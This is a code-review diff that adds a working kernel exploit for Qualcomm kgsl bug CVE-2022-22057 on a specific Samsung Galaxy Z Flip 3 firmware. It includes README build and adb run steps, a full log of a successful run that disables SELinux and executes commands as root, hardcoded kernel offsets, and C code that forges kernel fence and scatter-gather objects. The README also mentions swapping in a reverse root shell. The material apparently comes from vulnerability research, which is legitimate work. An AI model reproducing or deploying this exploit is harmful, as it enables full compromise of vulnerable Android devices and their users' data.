Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
87 changes: 87 additions & 0 deletions SecurityExploits/Android/Qualcomm/CVE-2022-22057/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
## Exploit for Qualcomm CVE-2022-22057

The write up can be found [here](https://github.blog/2022-06-16-the-android-kernel-mitigations-obstacle-race/). This is a bug in the Qualcomm kgsl driver that I reported in November 2021. The bug can be used to gain arbitrary kernel memory read and write from the untrusted app domain, which is then used to disable SELinux and gain root.

The exploit is tested on the Samsung Galaxy Z Flip 3 (European version SM-F711B) with firmware version F711BXXS2BUL6, Baseband F711BXXU2BUL4 and Kernel version 5.4.86-qgki-23063627-abF711BXXS2BUL6 (EUX region). The offsets in the exploit refer to that version of the firmware. Apart from the usual offsets in the kernel image, various addresses of the ion memory pools in `ion_utils.c` are also firmware specific. For reference, I used the following command to compile with clang in ndk-21:

```
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -O2 timeline_wait.c sendmsg_spray.c signalfd_spray.c cpu_utils.c ion_utils.c fake_obj_util.c work_queue_utils.c -o timeline
```

The exploit is reasonably reliable (~70% on tested device), although it does need to wait a few minutes after start up before running, as there are way too many broken/failed binder calls during the first few minutes of start up. (Not entirely sure whether it is a Qualcomm or Samsung problem)

To test, cross compile the file and then execute with `adb`:

```
adb push timeline /data/local/tmp
adb shell
b2q:/ $ /data/local/tmp/timeline
```

If succeeded, it will disable SELinux and run the `id` command as root and write the results in the `/data/local/tmp/id.txt` file:

```
b2q:/ $ /data/local/tmp/timeline
heap_id_mask 40
ion region 0x75a0ccf000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
timeline_wait start
readpipe start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
destroy finished
cb_list ffffffc02d943bf8 temp ffffffc02d943c48
mask 52424242 60
cpu_id 0
interval number 1
mask 7f8e7bfeff 7
thread number 0 7 20014
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 7 ion regions
heap_ops ffffffc012e17180, kernel base: a00b8000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012dc2518
wq_addr: ffffff81f4cf1200
pwq_addr ffffff81e24ea100
pool_addr ffffff805ff7c000
worklist ffffff805ff7c020 ffffff805ff7c020
queue work
max_active 256 nr_active 0
queuing work, waiting to aquire spin lock
work_queued
work processed
complete 0
ret 0
nr_active 0
worklist ffffff805ff7c020
work next ffffff8071842c08
[+] successfully run command and added id.txt in /data/local/tmp
finished queue work
freeing ion dma fd
finished freeing ion dma fd
finished spraying
finished
```
There is a long pause after `wait complete -1` is printed, which should be less than a minute, this is normal. It can sometimes also take a while to queue the work (after `queuing work, waiting to aquire spin lock` is printed, can be a couple of minutes, just need to be patient, although that is not common). The exploit normally completes in a couple of minutes.

The file `/data/local/tmp/id.txt` should confirm that the command was run as root:

```
b2q:/ $ cat /data/local/tmp/id.txt
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
```

A different command can be run by changing the variable `cmd` in `setup_sub_info` in `work_queue_utils.c`. (For example, to pop a reverse root shell).
38 changes: 38 additions & 0 deletions SecurityExploits/Android/Qualcomm/CVE-2022-22057/addr_utils.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
#ifndef ADDR_UTILS
#define ADDR_UTILS

#define PHYS_TO_VIRT_OFF 0x8080000000ul

#define VMEMMAP 0xfffffffefde00000ul

#define KERNEL_PBASE 0xa0080000

#define KERNEL_VBASE 0xffffffc010080000ul

//_text - kernel physical base
#define KERNEL_PHYS_OFF (KERNEL_VBASE - KERNEL_PBASE)

static inline uint64_t page_align(uint64_t x) {
return (x >> 12) << 12;
}

static inline uint64_t phys_to_virt(uint64_t x) {
return (uint64_t)(x) - PHYS_TO_VIRT_OFF;
}

static inline uint64_t virt_to_phys_lm(uint64_t x) {
if (x & (1ul << 38)) err(1, "address is not in low mem range.\n");
return x + PHYS_TO_VIRT_OFF;
}

static inline uint64_t virt_to_phys(uint64_t x) {
if (x & (1ul << 38)) return x - (KERNEL_VBASE - KERNEL_PBASE);
return x + PHYS_TO_VIRT_OFF;
}

static inline uint64_t phys_to_page(uint64_t phys_addr) {
//VMEMMAP interpreted as page pointer, so pfn needs to multiply by sizeof(struct page)
return (phys_addr >> 12) * 64 + VMEMMAP;
}

#endif
45 changes: 45 additions & 0 deletions SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
#include <sys/syscall.h>
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <sched.h>
#include <unistd.h>
#include <string.h>

#include "cpu_utils.h"

#define CPU_SETSIZE 1024
#define __NCPUBITS (8 * sizeof (unsigned long))
typedef struct
{
unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
} cpu_set_t;

#define CPU_SET(cpu, cpusetp) \
((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
#define CPU_ZERO(cpusetp) \
memset((cpusetp), 0, sizeof(cpu_set_t))

int migrate_to_cpu(int i)
{
int syscallres;
pid_t pid = gettid();
cpu_set_t cpu;
CPU_ZERO(&cpu);
CPU_SET(i, &cpu);

syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
if (syscallres)
{
return -1;
}
return 0;
}

int check_cpu_affinity() {
if (migrate_to_cpu(4) == -1) return 4;
if (migrate_to_cpu(5) == -1) return 5;
return -1;
}

7 changes: 7 additions & 0 deletions SecurityExploits/Android/Qualcomm/CVE-2022-22057/cpu_utils.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
#ifndef CPU_UTILS
#define CPU_UTILS

int migrate_to_cpu(int i);

int check_cpu_affinity();
#endif
120 changes: 120 additions & 0 deletions SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,120 @@
#include "fake_obj_util.h"
#include "addr_utils.h"

static uint64_t vaddr_offset = 0;

static inline uint64_t get_vaddr(struct list_head* ptr) {
return (uint64_t)ptr + vaddr_offset;
}

static void init_list_head(struct list_head *list)
{
list->next = get_vaddr(list);
list->prev = get_vaddr(list);
}

static void list_add(struct list_head *new, struct list_head *prev,
struct list_head * start)
{
start->prev = get_vaddr(new);
new->next = get_vaddr(start);
new->prev = get_vaddr(prev);
prev->next = get_vaddr(new);
}

static uint64_t add_zero_filled_area(void* region, size_t offset) {
memset(region + offset, 0, ZERO_FILL_SZ);
return ZERO_FILL_SZ + offset;
}

static struct list_head* get_list(struct kgsl_timeline_fence* fence) {
return &fence->node;
}

static void init_fence(struct kgsl_timeline_fence* fence, uint64_t zero_fill_addr, int check) {
struct dma_fence* base = &fence->base;
base->flags = 0;
base->refcount = 0;
if (check) {
base->cb_list.next = 0x41414141;
base->cb_list.prev = 0x42424242;

} else {
init_list_head(&base->cb_list);
}
base->ops = zero_fill_addr;
}

static uint64_t create_fake_fences(void* region, uint64_t offset, uint64_t chain_size, uint64_t zero_fill_addr) {
struct kgsl_timeline_fence* start = (struct kgsl_timeline_fence*)(region + offset);
struct kgsl_timeline_fence* prev = start;
struct list_head* start_list = get_list(start);
struct list_head* prev_list = start_list;
init_list_head(start_list);
init_fence(start, zero_fill_addr, 0);
offset += 128;
for (uint64_t i = 1; i < chain_size; i++) {
struct kgsl_timeline_fence* curr = (struct kgsl_timeline_fence*)(region + offset);
struct list_head* curr_list = get_list(curr);
init_list_head(curr_list);
if (i == chain_size - 1) {
init_fence(curr, zero_fill_addr, 0);
} else {
init_fence(curr, zero_fill_addr, 0);
}
list_add(curr_list, prev_list, start_list);
prev = curr;
prev_list = curr_list;
offset += 128;
}
return offset;
}

uint64_t fill_ion_heap(void* region, size_t chain_size, size_t region_size, uint64_t region_vaddr) {
if (sizeof(struct kgsl_timeline_fence) > 128) err(1, "kgsl_timeline_fence too big\n");
if (chain_size < 2) err(1, "chain size should be greater than 1.\n");
uint64_t fake_size = chain_size * 128 + ZERO_FILL_SZ;
if (fake_size > region_size) err(1, "chain of fake objects does not fit into region.\n");
uint64_t offset = (region_size - fake_size)/2;
vaddr_offset = region_vaddr - (uint64_t)region;
uint64_t zero_fill_addr = region_vaddr + offset;
offset = add_zero_filled_area(region, offset);
uint64_t out = offset;
offset = create_fake_fences(region, offset, chain_size, zero_fill_addr);
return out;
}

uint64_t poll_list_addr(void* fence_start, size_t chain_size, uint64_t fence_kstart) {
struct kgsl_timeline_fence* start = (struct kgsl_timeline_fence*)fence_start;
struct kgsl_timeline_fence* curr = (struct kgsl_timeline_fence*)fence_start;
struct dma_fence* base = &curr->base;
base->flags = 0;
struct list_head* cb_list = &base->cb_list;
if (cb_list->prev > (fence_kstart + chain_size * 128)) {
struct list_head* node = get_list(curr);
node->next = cb_list->prev + STACK_OFFSET;
base->refcount = 0;
base->flags = 1;
return cb_list->prev;
}
return 0;
}

void create_fake_sgtable(uint8_t* table_region, uint64_t table_vaddr, uint64_t phys_addr, size_t len) {
struct sg_table* table = (struct sg_table*)table_region;
table->nents = 1;
table->orig_nents = 1;
table->sgl = (struct scatterlist*)(table_vaddr + 128);
struct scatterlist* sg = (struct scatterlist*)(table_region + 128);
uint64_t page_link = phys_to_page(phys_addr);
sg->page_link = page_link |= 0x2ul;
sg->length = len;
sg->offset = 0;
}

void patch_ion_buffer(struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t phys_addr, size_t size) {
create_fake_sgtable(table_region, table_vaddr, (phys_addr >> 12) << 12, size);
buffer->sg_table = (struct sg_table*)table_vaddr;
buffer->size = size;
}

92 changes: 92 additions & 0 deletions SecurityExploits/Android/Qualcomm/CVE-2022-22057/fake_obj_util.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
#ifndef FAKE_OBJ_UTIL
#define FAKE_OBJ_UTIL

#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define ZERO_FILL_SZ 128

#define STACK_OFFSET 0x50

//offset of node in kgsl_timeline_fence
#define NODE_OFF 0x48

struct list_head {
uint64_t next, prev;
};

typedef struct {
int counter;
} atomic_t;

typedef struct refcount_struct {
atomic_t refs;
} refcount_t;

struct kref {
refcount_t refcount;
};

struct dma_fence {
void *lock;
uint64_t ops;
union {
struct list_head cb_list;
int64_t timestamp;
};
uint64_t context;
uint64_t seqno;
unsigned long flags;
uint32_t refcount;
int error;
};

struct kgsl_timeline_fence {
struct dma_fence base;
void *timeline;
struct list_head node;
};

struct scatterlist {
unsigned long page_link;
unsigned int offset;
unsigned int length;
uint64_t dma_address;
unsigned int dma_length;
};

struct sg_table {
struct scatterlist *sgl; /* the list */
unsigned int nents; /* number of mapped entries */
unsigned int orig_nents; /* original size of list */
};

struct ion_buffer {
struct list_head list;
void *heap;
unsigned long flags;
unsigned long private_flags;
size_t size;
void *priv_virt;
uint8_t lock[32];
int kmap_cnt;
void *vaddr;
struct sg_table *sg_table;
struct list_head attachments;
};

uint64_t fill_ion_heap(void* region, size_t chain_size, size_t region_size, uint64_t region_vaddr);

uint64_t poll_list_addr(void* fence_start, size_t chain_size, uint64_t region_vaddr);

void fake_ion_heap(void* region);

void patch_ion_buffer(struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t phys_addr, size_t size);

#endif
Loading